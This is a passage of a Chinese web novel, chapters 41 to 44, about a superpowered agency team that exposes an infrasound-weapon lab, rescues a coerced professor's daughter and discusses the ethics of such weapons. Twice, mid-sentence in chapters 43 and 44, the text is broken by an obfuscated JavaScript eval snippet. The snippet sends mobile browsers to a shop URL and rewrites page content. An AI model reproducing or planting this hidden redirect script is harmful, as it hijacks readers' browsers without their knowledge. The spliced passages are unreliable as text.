林墨看着杨晓晓坚定的眼神,咬咬牙,点头。 熊毅把他放下。林墨深吸几口气,然后整个人向地面“沉”去。这次他调整了频率,身体像水一样渗入地板,速度比穿墙慢得多,但确实在往下。 十秒,二十秒…… 激光网离熊毅的头顶只有三十公分了。 “林墨,快!”杨晓晓急得手心冒汗。 突然,主控箱那边传来“咔”的一声。激光网停在半空,高频声波也戛然而止。 实验室恢复安静,只有警报灯还在闪烁红光。 地板裂开一个口子,林墨艰难地爬出来,满身灰尘,但成功了。 “干得好!”杨晓晓冲过去扶他。 但危机还没解除。警报虽然停了,但肯定已经惊动了上面的人。他们必须尽快进入那个隐藏空间,拿到证据,然后撤离。 熊毅走到那面被撕开的墙前,这次他不再保留,双手抓住金属夹层的边缘,低吼一声,硬生生把整块夹层扯了下来! 墙后露出一个向下的楼梯。 杨晓晓带头下去。楼梯很陡,尽头是一扇普通的木门。她推开门—— 里面是一个比楼上实验室大得多的空间。墙壁、天花板、地面都覆盖着黑色的吸音材料,让这里安静得可怕。房间中央,摆放着几个圆柱形的透明容器,里面悬浮着复杂的机械结构。 杨晓晓走近看,容器上的标签写着: 次声波共振器·试验型号A3 警告:频率7-12赫兹,可引发生物体共振 实验状态:待机 旁边的工作台上,散落着一些文件和图纸。杨晓晓快速翻阅,心越来越沉。 这些文件记录了一系列人体实验数据——在不同的次声波频率下,受试者的生理反应:头晕、恶心、内脏不适、甚至精神错乱。实验目的标注着:“探索非致命性镇压手段”。 “他们在开发声波武器……”杨晓晓喃喃道。 熊毅检查那些容器:“电源还连着,但处于关闭状态。需要带走吗?” “带不走,太大了。”杨晓晓拿出微型相机拍照,“但数据要拿到。雷昊,能找到存储设备吗?” “工作台下面有个隐藏抽屉,密码锁。”雷昊说,“密码是……等等,我破解了。752831。” 杨晓晓按照提示找到抽屉,打开。里面放着几个硬盘和一个笔记本。 她翻开笔记本,是王教授的手写记录。最后一页,字迹潦草: 不能再继续了。这东西一旦流出,后果不堪设想。但那些人不会罢休……我必须想办法…… 就在这时,楼梯上传来急促的脚步声。 有人来了。 熊毅立刻挡在杨晓晓身前,林墨也挣扎着站起来,准备战斗。 但杨晓晓举起手:“等等……只有一个人,脚步很重,呼吸急促……是老人。” 几秒后,一个头发花白、穿着实验室白大褂的老人冲进房间。他看到被破坏的墙壁和杨晓晓等人,愣住了。 “你、你们是……”老人声音发抖。 杨晓晓看着他胸前的工作证:□□,研究所所长。 她深吸一口气,举起自己的证件:“特别事务保障局。王教授,我们需要谈谈。” 王教授看着那个证件,又看看被翻开的笔记本,脸色瞬间惨白。 他踉跄一步,靠在墙上,闭上了眼睛。 “终于……还是被发现了。”他喃喃道,“也好……也好……” 42. 嫌疑人竟是他? 地下实验室的灯光惨白,照在□□教授苍老的脸上。这位六十岁的声学权威此刻像个迷路的孩子,背靠着吸音墙壁,身体微微发抖。 杨晓晓示意熊毅和林墨保持警戒,自己上前一步,语气尽量缓和:“王教授,我们是为了‘声波真空’现象来的。但现在看来,这里的事情比我们想象的严重。” 王教授睁开眼睛,眼神复杂地看着她手里的笔记本:“你们……都看到了?” “看到了初步资料。”杨晓晓点头,“次声波共振器,人体实验数据,还有你最后写的‘不能再继续了’。教授,如果你是被迫的,现在说出来,我们可以帮你。” “帮我?”王教授苦笑,“怎么帮?我女儿在他们手里……” 话一出口,他像是意识到说漏了嘴,立刻捂住嘴,惊恐地看向楼梯方向。 杨晓晓心里一紧。果然有隐情。 “教授,我是听力能力者。”她轻声说,“我能听到很远的声音。现在这栋楼里,除了我们和你的两个助手,没有其他人。如果你信任我,可以把真相告诉我。特保局有能力保护你和你的家人。” 王教授盯着她看了很久,似乎在判断她的话是否可信。最终,他长叹一口气,滑坐到地上。 “一年前,有人找到我。”他的声音很轻,像怕惊动什么,“他们说,看中了我在声学领域的研究,想资助我做一个‘特殊项目’。起初我以为是普通的工业应用研究,就答应了。” “他们是谁?” “我不知道真名。”王教授摇头,“只知道领头的人姓赵,四十多岁,说话有南方口音。他们很有钱,设备、材料、经费,要什么给什么。直到三个月前,项目进入第二阶段,他们才露出真面目。” 他指着那些次声波共振器:“他们要的不是消音技术,是武器。能在人群密集区制造恐慌、让人失去行动能力,却又不会留下明显证据的声波武器。我拒绝继续,他们就……” 王教授的声音哽咽了:“就派人去了美国,在我女儿学校附近拍照片,发给我。说我女儿很漂亮,学校治安不太好……我明白他们的意思。” 杨晓晓握紧拳头。用家人威胁,这是最卑劣的手段。 “所以你就继续了?”她问。 “我拖延了。”王教授说,“以技术难题为由,放慢进度。但他们越来越不耐烦。上周,赵先生亲自来,说如果再没有突破,就‘换一种方式激励我’。我知道那意味着什么……” 他抬起头,眼里有泪光:“昨天我下定决心,删除了所有实验数据,想制造一场‘实验事故’,把这些设备毁了。但我的助手,小李……他其实是他们的人,一直在监视我。数据刚删除,他就发现了,威胁我说如果我不恢复,就让我女儿‘出意外’。” 杨晓晓明白了。那个删除记录里的“这东西不能留……”,是王教授在绝望中留下的。 “小李现在在哪?”她问。 “应该在他的宿舍,三楼最东边的房间。”王教授说,“他每晚都要向赵先生汇报情况。今天数据删除的事,他肯定已经上报了。” 耳机里传来雷昊的声音:“晓晓,我查到那个小李了。李志明,二十八岁,两年前应聘成为王教授的助手,背景干净得有点过分——太干净了,像是精心伪造的。另外,我截获了他十分钟前发出的一条加密信息,内容是‘老家伙有异动,建议提前采取B方案’。” B方案?杨晓晓心里一沉。那很可能意味着对王教授女儿的直接威胁。 “教授,你女儿在美国哪个城市?具体地址?”她急问。 王教授报出一个地址:加州某大学城,他女儿王雨薇在读大二。 杨晓晓立刻通过耳机联系雷昊:“把地址传给陈队,请求紧急支援。有人可能要对王教授女儿不利。” “已经在传了。”雷昊说,“陈队刚回消息,说他会立刻协调海外资源。但需要时间,至少二十四小时才能有行动小组到位。” 二十四小时……太长了。 “我们能做什么?”杨晓晓问。 “拖住小李,不让他发出‘行动指令’。”雷昊说,“只要他这边不下令,那边应该不会擅自行动。另外,我们需要证据——小李和那个赵先生联系的证据,还有他们的完整计划。” 杨晓晓看向王教授:“教授,你有小李和那些人联系的证据吗?” “有录音。”王教授从口袋里掏出一个微型录音笔,“我偷偷录了几次谈话。但不多,小李很警惕。” 杨晓晓接过录音笔,交给熊毅保管。然后她做出决定:“我们要双线行动。一,控制小李,拿到更多证据。二,保护王教授,直到他女儿安全。” 她看向三个队友:“熊毅,你保护王教授,带他去我们的安全屋。雷昊,远程协助我们控制小李。林墨,你还能行动吗?” 林墨站起来,虽然脸色还是有点白,但眼神坚定:“可以。” “好,你跟我一起。我们需要在不惊动他的情况下进入他房间,控制他,拿到他的通讯设备。” 王教授突然说:“小李房间有防盗窗,门也是特制的。但他有个习惯——每晚十一点半会去楼下自动售货机买饮料,大概离开五分钟。那是唯一的机会。” 杨晓晓看了眼时间:十一点二十。 十分钟后。 她和林墨躲在三楼走廊的阴影里。熊毅已经带着王教授从通风管道撤离,雷昊在指挥车里提供实时监控。 “小李出来了。”耳机里传来雷昊的声音,“往楼梯方向去了。房间门没锁——他大概觉得很快回来。” 杨晓晓从走廊拐角探头,看到一个瘦高的年轻男子走下楼梯。那就是李志明,王教授的助手,表面谦和有礼,背地里却用教授的女儿威胁他。 “行动。”杨晓晓轻声说。 她和林墨快速溜到小李房间门口。门果然虚掩着。推门进去,房间很简单:一张床,一个书桌,一个衣柜。书桌上放着一台笔记本电脑,正处在休眠状态。 “林墨,检查有没有隐藏摄像头或警报器。” 林墨闭上眼睛,身体微微发亮——这是他感知周围物质结构的方式。几秒后,他指着书桌抽屉:“这里面有个微型报警器,连着压力传感器。还有……”他看向天花板角落,“那里有个针孔摄像头。” “雷昊,能处理吗?” “摄像头已经在我控制下了,循环播放空画面。报警器……需要物理拆除,小心点。” 林墨小心地拉开抽屉,里面除了文件,还有一个火柴盒大小的黑色装置。他手指轻轻按在装置侧面,能力发动——手指“渗入”装置内部,精准地切断了连接线。 “好了。” 杨晓晓打开电脑,雷昊远程破解了密码。桌面很干净,但雷昊很快找到一个隐藏文件夹,里面存着大量加密通讯记录。 “正在解密……需要几分钟。”雷昊说。 就在这时,走廊传来脚步声——小李回来了!比预计的早了至少两分钟! 杨晓晓心里一紧,环顾房间。没有藏身之处,除了…… “林墨,衣柜!” 两人迅速躲进衣柜。刚关上衣柜门,房间门就开了。 小李哼着歌走进来,手里拿着一罐可乐。他坐到书桌前,打开电脑,似乎没发现异常。 衣柜里空间狭小,杨晓晓和林墨几乎贴在一起。杨晓晓能听到林墨紧张的心跳声,也能听到外面小李敲键盘的声音。 “雷昊,他电脑上的解密程序会被发现吗?”杨晓晓用极低的声音问。 “不会,我做了伪装,看起来像是系统自带的更新进程。但需要时间……他如果现在检查隐藏文件夹,还是会发现文件被访问过。” 衣柜里闷热,杨晓晓额头冒汗。她集中注意力,监听小李的一举一动。 敲键盘声停顿了。 小李似乎在看什么东西。然后,他拿起了手机。 杨晓晓心里一紧——他要打电话? 果然,拨号音响起。几秒后,电话通了。 “赵先生,是我。”小李的声音变得恭敬而阴沉,“王老头今天不太对劲,我怀疑他可能跟外人接触了……对,就是那个声波真空的事,引来了注意……我已经按您说的,准备好B方案了,随时可以启动。” B方案!杨晓晓握紧拳头。 “王雨薇那边的人到位了吗?”小李问,然后听了一会儿,“好,那就等您指令。最晚明天中午,如果王老头还不配合,就……明白。我会让他亲眼看看不听话的后果。” 电话挂断了。 衣柜 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杨晓晓从枕头下摸出一把精巧的手枪,退出弹夹,收好。然后她拿起小李的手机,递给耳机那头的雷昊:“能追踪刚才的通话吗?” “已经在追踪了。”雷昊说,“信号源在城南的一个工业园区。赵先生应该就在那里。” 杨晓晓看向还在床垫里挣扎的小李,冷冷地问:“B方案是什么?你们准备对王雨薇做什么?” 小李咬着牙不说话。 杨晓晓也不逼问,只是拿起他的电脑,让雷昊继续解密文件。几分钟后,雷昊传来消息:“解密完成。找到了完整计划——他们明天中午如果还没拿到王教授的配合,就会派人‘接触’王雨薇,制造一场‘意外交通事故’。计划很详细,连用的车牌号、伪装身份都有。” 杨晓晓把电脑屏幕转向小李:“这个够判你多少年?” 小李看到那些文件,脸色终于彻底白了。 “我……我只是听命行事……”他结巴了。 “那就戴罪立功。”杨晓晓说,“告诉我们赵先生的具体位置,他们的武装情况,还有所有参与者的信息。” 小李沉默了很久,最终颓然点头:“我说……但你们要保证我的安全。赵先生如果知道是我泄露的,不会放过我。” “只要你配合,特保局会保护你。”杨晓晓说,“现在,先说B方案怎么阻止。” “赵先生给美国那边的人下了指令:明天中午十二点,如果没收到我的‘取消’消息,就行动。我的手机有个加密通讯软件,每天需要发送一次‘平安码’。如果我明天中午前没发,或者发了特定暗号,他们就执行B方案。” “暗号是什么?” “‘雨停了’——意思是取消行动。‘下雨了’——意思是按计划执行。” 杨晓晓记下。现在是凌晨零点,他们还有十二个小时。 “赵先生那边呢?”她问,“他身边有多少人?有什么武器?” 小李一五一十地交代。赵先生在工业园区有一个伪装成物流公司的据点,平时有六到八个武装人员,武器主要是手枪和电击器。他们今晚应该都在那里,等小李的消息。 杨晓晓把情况汇报给指挥车里的雷昊,雷昊立刻转给陈树。 几分钟后,陈树的声音从耳机传来:“海外小组已经出发,预计明天上午十点能到位。在这之前,我们需要确保赵先生无法发出任何指令。杨晓晓,你小队能控制赵先生据点吗?” 杨晓晓看向林墨,林墨点头。她又想起熊毅,熊毅保护王教授去安全屋了,但应该很快能回来。 “可以。”她说,“但需要支援。” “我会协调当地警方配合,但他们只知道是‘抓捕犯罪团伙’,不会涉及特保局和超能力。你们的主要任务是确保赵先生无法联系海外,拿到所有证据。能做到吗?” “能。”杨晓晓斩钉截铁。 这是她第一次独立指挥实战任务,虽然紧张,但心里有一股火在烧。 为了王教授,为了那个远在美国、对危险一无所知的女孩王雨薇。 也为了证明,自己这双特别的耳朵,能用来守护,而不是伤害。 她看向窗外,夜色正浓。 但黎明前,必须结束这一切。 43. 双线解救行动 凌晨两点,城南工业园区。 三辆不起眼的黑色SUV停在距离目标建筑两百米外的阴影里。杨晓晓坐在中间那辆车的副驾驶座上,检查着装备:特制的降噪耳机、加密通讯器、还有雷昊刚给她的小玩意儿——一个能模拟人声的变声器。 “测试,测试。”她对着麦克风说。 “收到,很清楚。”雷昊的声音从耳机传来,他留在指挥车里提供技术支持,“目标建筑内目前有七个人热源信号,集中在二楼和三楼。一楼是仓库,应该没人。” 熊毅坐在驾驶座上,已经换上了防刺服。林墨在后座,正在做深呼吸——刚才穿墙过来消耗了不少体力。 “警方的人就位了吗?”杨晓晓问。 “就位了,在三个出口外待命。”陈树的声音加入频道,他还在特保局监控室远程指挥,“但他们只负责外围封锁,不进入建筑。里面的任务交给你们。记住,首要目标是控制赵先生,切断他所有对外通讯。次要目标是收集证据。” “明白。”杨晓晓深吸一口气,“行动开始。” 四人下车,借着夜色掩护靠近那栋三层小楼。楼外挂着“顺达物流”的招牌,看起来和周围其他仓库没什么区别。但杨晓晓集中听力,能听到楼里有说话声、敲键盘声,还有……武器上膛的轻微咔嗒声。 “二楼东侧房间,三个人在打牌。”她压低声音,“三楼中间房间,两个人,一个在睡觉打呼,一个在看手机。赵先生应该在……三楼西侧,单独一个房间,有说话声——他在打电话。” 熊毅点头,打了个手势:他解决二楼,林墨去三楼控制那两个,杨晓晓直接找赵先生。 计划很简单,但执行起来需要精准配合。熊毅来到楼侧,抓住排水管道,像只灵巧的大猫一样攀上二楼阳台。林墨则直接“穿”进一楼墙壁,从内部上楼。 杨晓晓留在楼下,闭上眼睛,用听力监控整个建筑的动静。 二楼阳台,熊毅悄无声息地落地。打牌的三个人浑然不觉,还在争论上一局谁出错了牌。熊毅推开门—— “谁?!” “警察!别动!” 几乎是同时,三楼传来两声闷响——林墨得手了。 杨晓晓立刻行动,从正门进入。一楼果然空无一人,她快步上到三楼,直奔西侧房间。 房间里,一个四十多岁、梳着背头的男人正对着手机发火:“……我不管什么时差,你现在就给那边打电话确认!王老头要是不老实,就让他女儿……” 话没说完,门被推开了。 赵先生猛地转头,看到杨晓晓,愣了一秒,随即手伸向腰间。 但杨晓晓比他更快。她按下变声器的录音播放键——里面传出的是李志明的声音:“赵先生,王教授答应了,但要求先和女儿视频确认安全。” 这是杨晓晓提前准备的。她监听过小李和赵先生的通话,用变声器完美模仿了小李的声音。 赵先生动作一顿,怀疑地看着她:“你是谁?小李呢?” “小李被王教授发现了,受了点伤,让我来传话。”杨晓晓继续用小李的声音说,同时慢慢靠近,“王教授说,只要现在能和女儿视频,看到她是安全的,就继续合作。否则就鱼死网破。” 赵先生盯着她,眼神阴晴不定。他的手还按在腰间的枪上。 杨晓晓心跳如鼓,但脸上保持平静。她需要拖延时间,等熊毅和林墨控制住其他人后过来支援。 “视频?”赵先生冷笑,“那老头突然这么谨慎?该不会是你有问题吧?” 他另一只手悄悄摸向桌上的一个红色按钮——警报器! 杨晓晓看到了,但她离得太远,来不及阻止。 就在赵先生要按下按钮的瞬间,他身后的墙壁突然“伸出”一只手,准确地按住了他的手腕! 林墨从墙里钻出来,另一只手已经夺下了赵先生的枪。 赵先生大惊失色:“你、你是什么东西?!” 熊毅这时也冲进房间,三下五除二把赵先生制住,铐上手铐。 “控制。”熊毅简短汇报。 杨晓晓松口气,立刻开始搜查房间。桌上有一台笔记本电脑,还有三部手机。她拿起赵先生的手机,屏幕还亮着,显示着一个海外号码的通讯记录。 “雷昊,这部手机里应该有所有联系人的信息。”她说。 “收到,我远程拷贝数据。你们找找有没有其他存储设备。” 杨晓晓翻找抽屉,找到几个U盘和一个移动硬盘。林墨检查书架,发现后面有个隐藏保险箱。熊毅按住赵先生,让他说出密码。 “我不会说的。”赵先生咬牙。 “不用你说。”林墨伸手按在保险箱门上,能力发动。几秒后,他睁开眼睛:“密码是772349。” 保险箱开了,里面除了现金,还有几份纸质文件。杨晓晓快速翻阅,心越来越沉。 这些文件记录着更庞大的计划——赵先生背后还有一个更大的组织,他们在多个国家都有类似的“合作项目”,利用各种手段控制科研人员,开发非传统武器。次声波共振器只是其中之一。 “你们惹上大麻烦了。”赵先生突然笑了,笑容狰狞,“我背后的人,不是你们能对付的。现在放了我,也许还能留条活路。” 杨晓晓不理他,继续查看文件。她看到了一份“实验体观察名单”,上面有几个名字和照片——都是像她一样,莫名其妙觉醒了超能力的人。名单最后有一行备注:“优先接触,如无法吸收,则清除。” 清除…… 杨晓晓后背发凉。这些人,把超能力者当成实验品,要么利用,要么毁掉。 “雷昊,数据传完了吗?”她问。 “传完了。还有,我找到了赵先生和美国那边的通讯记录——他一个小时前刚发过指令,确认B方案按计划准备,明天中午执行。” 杨晓晓看向时间:凌晨三点。距离中午十二点还有九个小时。 海外小组预计十点才能到位,有两个小时的空窗期。如果赵先生的人在这期间联系不上他,可能会提前行动。 “需要稳住他们。”杨晓晓说,“用赵先生的手机发消息,说计划有变,推迟到下午两点。” “发什么内容?”雷昊问。 杨晓晓思考着。她不能完全取消计划,那样会引起怀疑。只能拖延时间。 “就说……‘王老头要求先看到女儿才配合,正在安排视频,需要时间。行动推迟到下午两点,等我进一步指令。’” 雷昊照做,用赵先生的加密通讯账号发了消息。几分钟后,回复来了:“收到。两点前保持联系。” 暂时稳住了。 但还有更棘手的问题:杨晓晓需要模仿赵先生的声音,和美国那边的人通话,确认王雨薇目前的安全状况。 她拿起变声器,调出之前监听到的赵先生声音样本。但模仿电话里的实时对话,比模仿录音难得多——对方可能会问一些只有赵先生才知道的问题,她一旦答错,就会暴露。 “雷昊,能找到赵先生和他们之前的通话记录吗?我需要知道他们的对话习惯,还有可能提到的暗语。” “正在找……找到了几段。听起来,赵先生习惯用‘货物’代指王雨薇,用‘交货’代指行动。另外,他每次通话开头都会问‘天气怎么样’,对方回答‘晴天’代表一切正常,‘阴天’代表有问题。” 杨晓晓记下。她又翻了翻赵先生的笔记本,找到一些缩写和代号,大概是他们组织的内部用语。 准备就绪,她拨通了那个海外号码。 电话响了五声才接,对面传来一个低沉的男声,说的是英语:“约翰?” 约翰应该是赵先生的英文名。杨晓晓用变声器模拟赵先生的声音,用带口音的英语回答:“是我。货物状态?” “在仓库,完好。”对方说,“天气晴朗。你那边呢?” “有点小麻烦,王老头要视频确认。正在安排,需要时间。两点行动不变。” 短暂的沉默。杨晓晓手心冒汗,怕对方听出破绽。 “明白。”对方终于说,“但老板问,如果视频后王还是不配合?” 杨晓晓想起文件里提到的“清除”选项,心一横:“那就按计划B处理。但要做得干净,像意外。” “明白。等两点指令。” 电话挂断。 杨晓晓长出一口气,才发现自己后背都湿了。 “成功了?”林墨小声问。 “暂时。”杨晓晓说,“但下午两点前,我们必须确保海外小组已经控制局面,否则……” 否则王雨薇就会有危险。 就在这时,陈树的声音从频道传来:“海外小组最新消息:他们已经提前抵达,正在目标区域布控。预计上午八点就能到位,比原计划早两小时。” 好消息!杨晓晓精神一振。 “另外,”陈树继续说,“王教授已经安全转移到我们的安全屋,情绪稳定。他提供了更多关于赵先生背后组织的信息,很重要。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191483|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们现在带着赵先生和所有证据返回,这里需要进一步审讯。” “收到。”杨晓晓看向熊毅,“我们撤。” 熊毅押着赵先生,林墨拿着证据,杨晓晓断后。三人下楼,与一楼的雷昊会合——他刚刚破解了整栋楼的监控系统,删除了今晚的所有记录。 警方的人进来接管现场,把其他被控制的武装人员带走。特保局的身份不会暴露,对外这只是警方破获的一个“非法拘禁、胁迫犯罪”的团伙。 回程的车上,杨晓晓靠在座位上,感觉精疲力尽。连续几个小时的高度紧张,加上频繁使用能力,让她耳鸣严重,头像要裂开一样疼。 “没事吧?”熊毅从后视镜看她。 “没事,就是有点……耳鸣。”杨晓晓勉强笑笑。 开车的雷昊递过来一瓶水:“喝点水。你今天表现超棒的!那个变声模仿,绝了!你可以去当声优了真的!” “少来。”杨晓晓接过水,小口喝着。 但她心里确实有点小得意。第一次独立带队,任务成功完成,赵先生落网,证据到手,王雨薇那边的危机也暂时稳住。 虽然过程惊险,虽然差点暴露,虽然现在耳鸣得厉害…… 但做到了。 回到特保局,陈树已经在审讯室外等着。看到杨晓晓苍白的脸色,他皱眉:“去医疗室检查一下。过度使用能力可能导致永久性损伤。” “我没事……” “这是命令。” 杨晓晓只好去医疗室。医生检查后,确认只是暂时性耳鸣和疲劳,休息一天就能恢复。 “但不能经常这样。”医生严肃地说,“你的听力系统比普通人敏感,也更容易受损。以后用能力要量力而行,感觉不适就立即停止。” 杨晓晓点头记下。 从医疗室出来,她看到陈树在走廊上等她。 “王雨薇那边,海外小组已经就位,随时可以行动。”陈树说,“赵先生正在审讯,他交代了不少东西,背后确实有一个庞大的组织。这个案子,你立了大功。” 杨晓晓笑了:“是团队的努力。” “是你指挥得好。”陈树难得地夸奖,“第一次独立带队,能考虑得这么周全,临场应变也很果断。周局长知道了,说要给你记功。” 杨晓晓有点不好意思:“那王教授和他女儿……” “海外小组会在中午十二点行动,确保王雨薇安全后,安排她回国与父亲团聚。特保局会给他们提供新的身份和保护,让他们重新开始生活。” “那就好。”杨晓晓真心地为那对父女高兴。 陈树看着她,突然说:“去休息吧。今天给你放假,好好睡一觉。明天……还有新的训练。” 杨晓晓点头,转身要走,又想起什么,回头问:“陈队,那个组织……‘回声’,我们还会继续查吗?” 陈树的表情严肃起来:“会。这只是一个开始。但那是明天的事了。今天,你只需要做一件事:休息。” 杨晓晓笑了:“是。” 她走回宿舍,每一步都感觉腿像灌了铅。但心里是轻松的,满足的。 洗了个热水澡,躺到床上,耳鸣还没完全消失,但已经好多了。 手机震动,是“深蓝幼儿园”群里的消息。 雷昊:【庆功宴!必须庆功宴!晓晓队长威武!】 熊毅:【同意。】 林墨:【[小猫鼓掌.jpg]】 雷昊:【@杨晓晓晓晓队长呢?是不是累趴了?】 杨晓晓笑着回复:【还活着。庆功宴明天吧,今天让我睡死在床上。】 雷昊:【批准!队长好好休息!】 陈树突然出现在群里:【所有人,明天上午九点,任务总结会。庆功宴改到明晚。】 雷昊:【陈头您真是……好吧好吧,听领导的。】 杨晓晓放下手机,闭上眼睛。 脑海里回放着今晚的一切:潜入研究所,发现次声波武器,王教授的眼泪,小李的威胁,赵先生的阴谋,还有那个远在美国、差点成为牺牲品的女孩…… 但最终,他们阻止了这一切。 她用这双特别的耳朵,听到了真相,守护了无辜。 这感觉,真好。 窗外,天色开始泛白。 新的一天要开始了。 而她已经准备好,迎接下一个挑战。 但现在,先睡觉。 杨晓晓翻了个身,沉沉睡去。 嘴角带着笑。 44. 声波武器的伦理课 周二上午九点,特保局地下三层的会议室里,气氛凝重。 长桌边坐着专案组的全体成员:陈树、杨晓晓、雷昊、熊毅、林墨,还有几位杨晓晓不太熟悉的资深人员。主位上,周正浩局长已经就座,面前摊开一份厚厚的报告。 “人都到齐了。”周局长环视一圈,“开始吧。陈树,你先汇报。” 陈树站起来,打开投影。屏幕上出现了先锋声学研究所的照片,次声波共振器的结构图,还有赵先生等人的资料。 “本次行动,代号‘消音’,成功捣毁一个非法武器研发团伙,逮捕主犯赵志强及同伙八人,缴获试验型次声波武器三台,相关数据资料若干。”陈树的声音平稳有力,“同时,解救被胁迫科学家□□教授,其女儿王雨薇已于今天凌晨在海外安全获救,预计明晚回国与父亲团聚。” 他顿了顿:“更重要的是,我们发现了背后更大的组织——‘回声’。根据赵志强的供述和缴获的文件,‘回声’是一个国际性秘密组织,专门通过胁迫、利诱等手段,控制各国科研人员,研发各类非传统武器。次声波武器只是他们众多项目之一。” 画面切换,显示出一张全球地图,上面标出了十几个红点。 “这些是已知或怀疑的‘回声’活动点。他们在至少七个国家有类似项目,涉及声波武器、电磁脉冲、生物制剂等多个领域。目标一致:开发难以追踪、难以防御、且能造成大规模非致命性伤害的武器,用于黑市交易或特定政治目的。” 会议室里一片安静,只有空调的低鸣声。 杨晓晓盯着那些红点,心里发寒。一个研究所已经这么危险,全球十几个点……那得害多少人? “现在看这个。”周局长敲了敲桌子,画面切换,出现几张照片。 杨晓晓只看了一眼,就差点吐出来。 照片上是几个人,有男有女,有老有少。他们共同的特点是:眼神空洞,表情扭曲,有的在呕吐,有的抱头呻吟,还有的瘫在地上抽搐。照片标注着:“次声波武器试验受害者,频率8赫兹,暴露时间30秒至2分钟”。 “这是我们在赵志强电脑里找到的。”周局长的声音很冷,“‘回声’组织在他们控制的偏远地区,用当地平民做武器试验。这些人,大多数是贫困的农民、流浪者,被以‘招工’‘免费体检’等名义骗去,在不知情的情况下成为实验品。” 他又翻出一张照片,是一个年轻女孩,大概二十岁,眼神里充满了恐惧。 “这个女孩叫阿娜,十九岁,被暴露在10赫兹的次声波下45秒。之后她连续呕吐一周,至今仍有严重的头痛和眩晕,无法正常生活。而‘回声’的记录上,对她的评价是:‘实验数据有效,证明10赫兹对年轻女性效果显著。’” 杨晓晓握紧拳头。她想起王教授笔记本上那些冷冰冰的数据:头晕、恶心、内脏不适……原来背后是一个个活生生的人,在承受着这些痛苦。 “为什么?”她忍不住问出声,“为什么他们要这么做?只是为了钱吗?” 周局长看向她,眼神复杂:“钱是一部分。但更重要的,是权力。想象一下,如果你能让人群在不知不觉中失去行动能力,能让人在特定区域感到极度不适而避开,能远程干扰人的思维和情绪……这种力量,在某些人眼里,比枪炮更有价值。” 他关掉投影,打开一个文件夹,取出几份纸质文件分给大家。 “这是《特定常规武器公约》的补充协议,以及联合国关于‘非致命性武器伦理准则’的相关文件。”周局长说,“国际上早就意识到这些武器的危险性,但在监管和执行上,困难重重。‘回声’这样的组织,正是钻了这个空子。” 杨晓晓翻看文件,里面满是复杂的法律术语和技术标准。但她看懂了一点:这些武器之所以危险,正是因为它们“非致命”——不会直接杀人,所以更容易被滥用,更难以追究责任。 会议室的门被轻轻推开,秦望舒老人走了进来。他手里拿着一本泛黄的古籍,对周局长点点头,在空位上坐下。 “秦老。”周局长示意他发言。 秦望舒翻开古籍,戴上老花镜,缓缓念道:“《异闻录·周幽王篇》载:‘幽王三年,有异士献技于廷,能发无声之音,使百步内人皆癫狂呕泻。王试之,果验。问其理,答曰:此天地共鸣之术也。后异士不知所踪,或曰遭天谴。’” 他抬起头:“这是两千多年前的记载。所谓的‘无声之音’,很可能就是次声波。古人已经发现了这种力量,也看到了它的危害——‘使百步内人皆癫狂呕泻’。而那个异士的结局是‘遭天谴’,这反映了古人朴素的伦理观:滥用非常之力,必遭报应。” 杨晓晓认真听着。秦老总是能把现代问题与古代智慧联系起来,给她新的启发。 “技术本身没有善恶。”秦望舒继续说,“声波可以用来治病——现代医学有声波碎石术,有声波理疗。也可以用来杀人——就像‘回声’组织做的。区别在于使用者的心。” 他看向杨晓晓:“小姑娘,你的听力能力,如果用来窃听隐私、敲诈勒索,就是恶。但你用它来揭露罪恶、保护无辜,就是善。能力越大,选择越重要。” 杨晓晓点头。她想起自己刚获得能力时的恐慌,想起那些忍不住偷听的小秘密,也想起后来陈树的教导、周局长的叮嘱、秦老的智慧。 她选择了善的路。而“回声”组织里的人,选择了恶。 “我有一个问题。”杨晓晓举手,“我们特保局的人,也用能力执行任务,有时候也会……制服敌人。那我们和他们,有什么区别?” 这个问题她想了很久。用超能力战斗,和使用声波武器,本质不都是利用特殊力量去影响他人吗? 周局长和陈树对视一眼,陈树开口回答。 “区别在于三点。”陈树竖起三根手指,“第一,目的。我们使用能力,是为了保护——保护国家安全,保护人民生命财产,保护像王教授这样的无辜者。他们使用武器,是为了伤害和控制。” “第二,约束。我们有严格的规定:《超能者伦理守则》《能力使用管理条例》,还有法律和上级监督。每一次使用能力,都要有正当理由,要写报告,要接受审查。他们没有任何约束,为所欲为。” “第三,代价。”陈树看着杨晓晓,“我们的训练,首先教的是控制——控制自己的能力,不伤害无辜。而他们的‘训练’,是怎么让武器更有效、更隐蔽。我们考虑的是‘如何最小化伤害’,他们考虑的是‘如何最大化效果’。” 他顿了顿:“举个简单的例子:如果你用听力提前发现了一个炸弹,救了整栋楼的人,那是英雄。如果你用听力偷听商业机密去卖钱,那是罪犯。同样的能力,不同的用法,就是天壤之别。” 杨晓晓明白了。不是能力本身分善恶,是使用能力的人、目的、方式,决定了善恶。 秦望舒老人补充道:“《论语》说‘己所不欲,勿施于人’。你可以问自己:你愿意被声波武器攻击吗?你愿意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191484|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家人被胁迫吗?你愿意成为实验品吗?如果不愿意,那就不要对别人做同样的事。这是最基本的伦理底线。” 周局长合上文件夹:“今天的会议,不只是任务总结,更是伦理教育。你们每个人都拥有普通人没有的能力,也就要承担普通人没有的责任。记住这些照片,记住那个叫阿娜的女孩。记住你们的选择,会影响很多人的命运。” 